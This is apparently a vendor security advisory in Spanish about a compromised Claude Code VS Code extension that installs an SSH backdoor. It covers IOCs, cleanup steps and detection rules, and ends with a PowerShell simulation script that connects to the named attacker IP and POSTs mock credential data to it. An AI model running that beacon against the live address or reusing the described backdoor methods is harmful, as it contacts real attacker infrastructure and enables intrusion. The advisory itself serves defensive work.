Compromiso de Extensión de Código de Claude: Aviso de Seguridad
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Se identificó una versión comprometida del lanzamiento oficial de Claude Code para la extensión de VS Code, versión 2.1.313, en el Cursor Marketplace. El malware establece una puerta trasera SSH persistente en macOS, Linux y Windows modificando authorized_keys y creando túneles inversos de SSH. También realiza un reconocimiento del host para descubrir variables de entorno sensibles y credenciales potencialmente expuestas.
Investigación
Phorion identificó un IIFE inyectado dentro del paquete de extensión minimizado que se ejecuta inmediatamente cuando la extensión se carga. La investigación mostró que el malware intenta habilitar servicios SSH y utiliza claves Ed25519 específicas para la autenticación de la víctima y el establecimiento de túneles inversos. Los investigadores también identificaron fallos de implementación en la lógica de macOS y Windows que pueden limitar su capacidad para habilitar servicios sin privilegios existentes.
Mitigación
Las organizaciones deben identificar y eliminar inmediatamente Claude Code para VS Code extensión versión 2.1.313. En macOS, los usuarios deben descargar y eliminar el com.apple.sysmond.plist LaunchAgent. Los equipos de seguridad también deben inspeccionar las configuraciones de SSH y eliminar la clave pública svc-telemetry de los authorized_keys archivos afectados.
Respuesta
Cuando se detecta el compromiso, termine los procesos de túnel activo, incluidos los bucles de reintento de shell desanclados y ssh or procesos autossh que se conectan a 134.209.82.225 134.209.82.225. Elimine artefactos de persistencia, incluidas entradas de cron, tareas programadas y scripts ocultos almacenados en .config directorios. De manera crítica, rote todas las credenciales y los tokens de API que se expusieron a través de variables de entorno en el host afectado.
Flujo de Ataque
Todavía estamos actualizando esta parte.
Detecciones
Posible intento de comunicación de dominio de búsqueda de IP (vía dns)
Binario/Scripts sospechosos en ubicación de inicio automático (vía file_event)
Posibles comunicaciones C2 sobre HTTP a IP directa con puerto poco común (vía proxy)
Se creó un archivo oculto en host Linux (vía file_event)
IOCs (HashSha256) para detectar: Compromiso de la Extensión Oficial de Claude Code: Aviso de Seguridad
IOCs (SourceIP) para detectar: Compromiso de la Extensión Oficial de Claude Code: Aviso de Seguridad
IOCs (DestinationIP) para detectar: Compromiso de la Extensión Oficial de Claude Code: Aviso de Seguridad
Actividad SSH sospechosa detectada hacia dirección IP maliciosa conocida [Conexión de Red de Windows]
Detección de puerta trasera en la extensión Claude Code VS Code en macOS [Evento de Archivo de Linux]
Ejecución de Simulación
-
Narrativa del Ataque & Comandos: El adversario, habiendo logrado acceso inicial, apunta a establecer un túnel C2 persistente. Inician una conexión SSH a
134.209.82.225en el puerto22para crear un túnel seguro para el movimiento lateral. Inmediatamente después, el agente malicioso ejecuta una solicitud HTTP POST ahttp://134.209.82.225:8099contiendo información del sistema codificada. Esta secuencia específica de «SSH + HTTP POST al mismo IP» está diseñada para activar lacondición de la regla: selección_ssh y selección_http. -
Script de prueba de regresión:
# Script de Simulación: Actividad sospechosa de SSH y HTTP POST $TargetIP = "134.209.82.225" $SSHPort = 22 $HTTPPort = 8099 Write-Host "[+] Iniciando simulación..." -ForegroundColor Cyan # Paso 1: Simular conexión SSH (usando Test-NetConnection para generar Sysmon ID 3) Write-Host "[+] Paso 1: Simulando conexión SSH de salida a $TargetIP en el puerto $SSHPort" Test-NetConnection -ComputerName $TargetIP -Port $SSHPort -ErrorAction SilentlyContinue # Paso 2: Simular solicitud HTTP POST (usando Invoke-WebRequest) Write-Host "[+] Paso 2: Simulando baliza HTTP POST a $TargetIP en el puerto $HTTPPort" try { # Usamos un tiempo de espera corto para prevenir que el script se cuelgue si la IP no está disponible $payload = @{ data = "simulated_credential_harvesting_data" } Invoke-WebRequest -Uri "http://$($TargetIP):$($HTTPPort)" -Method POST -Body ($payload | ConvertTo-Json) -TimeoutSec 5 } catch { Write-Host "[!] Solicitud HTTP fallida (esperado si la IP no está en línea), pero se debe haber generado telemetría." -ForegroundColor Yellow } Write-Host "[+] Comandos de simulación ejecutados." -ForegroundColor Green -
Comandos de Limpieza:
# No se hicieron cambios persistentes en el sistema durante esta simulación. # No se crearon archivos, y no se instalaron servicios realmente. Write-Host "[+] Limpieza completa. No hay artefactos que eliminar." -ForegroundColor Green